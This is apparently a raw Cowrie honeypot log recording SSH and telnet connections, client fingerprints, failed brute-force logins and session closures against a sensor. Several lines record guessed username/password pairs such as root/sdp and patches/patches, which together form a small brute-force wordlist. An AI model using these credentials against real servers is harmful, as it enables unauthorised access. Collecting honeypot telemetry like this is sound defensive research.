{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:19.625871Z","src_ip":"181.218.9.86","session":"47e6567d5f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:19.781558Z","src_ip":"181.218.9.86","session":"47e6567d5f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sdp","message":"login attempt [root/sdp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:20.435316Z","src_ip":"181.218.9.86","session":"47e6567d5f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:21.592449Z","src_ip":"181.218.9.86","session":"47e6567d5f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":58250,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c82a21c8bff","protocol":"ssh","message":"New connection: 103.15.222.183:58250 (159.203.135.109:22) [session: 4c82a21c8bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:26.363571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:26.368226Z","src_ip":"103.15.222.183","session":"4c82a21c8bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:26.599929Z","src_ip":"103.15.222.183","session":"4c82a21c8bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050390","message":"login attempt [root/050390] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:27.294046Z","src_ip":"103.15.222.183","session":"4c82a21c8bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:28.527364Z","src_ip":"103.15.222.183","session":"4c82a21c8bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59372,"dst_ip":"159.203.135.109","dst_port":23,"session":"22ff29a40361","protocol":"telnet","message":"New connection: 170.64.224.25:59372 (159.203.135.109:23) [session: 22ff29a40361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:29.237667Z"}
{"eventid":"cowrie.session.closed","duration":43.07987308502197,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:44.949870Z","src_ip":"170.64.224.25","session":"3e0b6695a33b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":54410,"dst_ip":"159.203.135.109","dst_port":22,"session":"257f1bbd0657","protocol":"ssh","message":"New connection: 101.126.22.12:54410 (159.203.135.109:22) [session: 257f1bbd0657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:56:59.198715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:00.591962Z","src_ip":"101.126.22.12","session":"257f1bbd0657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:00.595345Z","src_ip":"101.126.22.12","session":"257f1bbd0657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.48907136917114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:03.726609Z","src_ip":"170.64.224.25","session":"22ff29a40361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":32970,"dst_ip":"159.203.135.109","dst_port":23,"session":"39e2950bcef9","protocol":"telnet","message":"New connection: 170.64.224.25:32970 (159.203.135.109:23) [session: 39e2950bcef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:10.680771Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":30161,"dst_ip":"159.203.135.109","dst_port":22,"session":"6098b544f2e4","protocol":"ssh","message":"New connection: 178.20.210.208:30161 (159.203.135.109:22) [session: 6098b544f2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:38.753349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:38.757217Z","src_ip":"178.20.210.208","session":"6098b544f2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:38.855537Z","src_ip":"178.20.210.208","session":"6098b544f2e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz3edcxsw2","message":"login attempt [root/1qaz3edcxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:39.342888Z","src_ip":"178.20.210.208","session":"6098b544f2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:40.486085Z","src_ip":"178.20.210.208","session":"6098b544f2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39746,"dst_ip":"159.203.135.109","dst_port":23,"session":"af533ed45c5a","protocol":"telnet","message":"New connection: 170.64.224.25:39746 (159.203.135.109:23) [session: af533ed45c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:48.430610Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39754,"dst_ip":"159.203.135.109","dst_port":23,"session":"369976159094","protocol":"telnet","message":"New connection: 170.64.224.25:39754 (159.203.135.109:23) [session: 369976159094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:55.532134Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":57348,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb3abda6c103","protocol":"ssh","message":"New connection: 191.7.26.153:57348 (159.203.135.109:22) [session: cb3abda6c103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:57.222084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:57.226378Z","src_ip":"191.7.26.153","session":"cb3abda6c103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:57.344269Z","src_ip":"191.7.26.153","session":"cb3abda6c103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patches","password":"patches","message":"login attempt [patches/patches] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:57.889709Z","src_ip":"191.7.26.153","session":"cb3abda6c103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:57:59.030338Z","src_ip":"191.7.26.153","session":"cb3abda6c103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":46554,"dst_ip":"10.17.0.5","dst_port":22,"session":"d486bce88dcc","protocol":"ssh","message":"New connection: 38.93.206.2:46554 (10.17.0.5:22) [session: d486bce88dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:00.078470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:00.081827Z","src_ip":"38.93.206.2","session":"d486bce88dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:00.132293Z","src_ip":"38.93.206.2","session":"d486bce88dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"war123","message":"login attempt [root/war123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:00.283478Z","src_ip":"38.93.206.2","session":"d486bce88dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36272,"dst_ip":"159.203.135.109","dst_port":23,"session":"771af64cddd8","protocol":"telnet","message":"New connection: 170.64.224.25:36272 (159.203.135.109:23) [session: 771af64cddd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:01.332820Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:01.338774Z","src_ip":"38.93.206.2","session":"d486bce88dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33774,"dst_ip":"10.17.0.5","dst_port":22,"session":"c88d31db90bd","protocol":"ssh","message":"New connection: 109.237.96.109:33774 (10.17.0.5:22) [session: c88d31db90bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:09.813263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:09.822484Z","src_ip":"109.237.96.109","session":"c88d31db90bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:09.911186Z","src_ip":"109.237.96.109","session":"c88d31db90bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21081993","message":"login attempt [root/21081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:10.178375Z","src_ip":"109.237.96.109","session":"c88d31db90bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:11.270326Z","src_ip":"109.237.96.109","session":"c88d31db90bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":38696,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c3b7f75d1dc","protocol":"ssh","message":"New connection: 181.218.9.86:38696 (159.203.135.109:22) [session: 0c3b7f75d1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:21.601545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:21.604956Z","src_ip":"181.218.9.86","session":"0c3b7f75d1dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:21.761703Z","src_ip":"181.218.9.86","session":"0c3b7f75d1dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jg123456.","message":"login attempt [root/Jg123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:58:22.423744Z","src_ip":"181.218.9.86","session":"0c3b7f75d1dc","protocol":"ssh"}
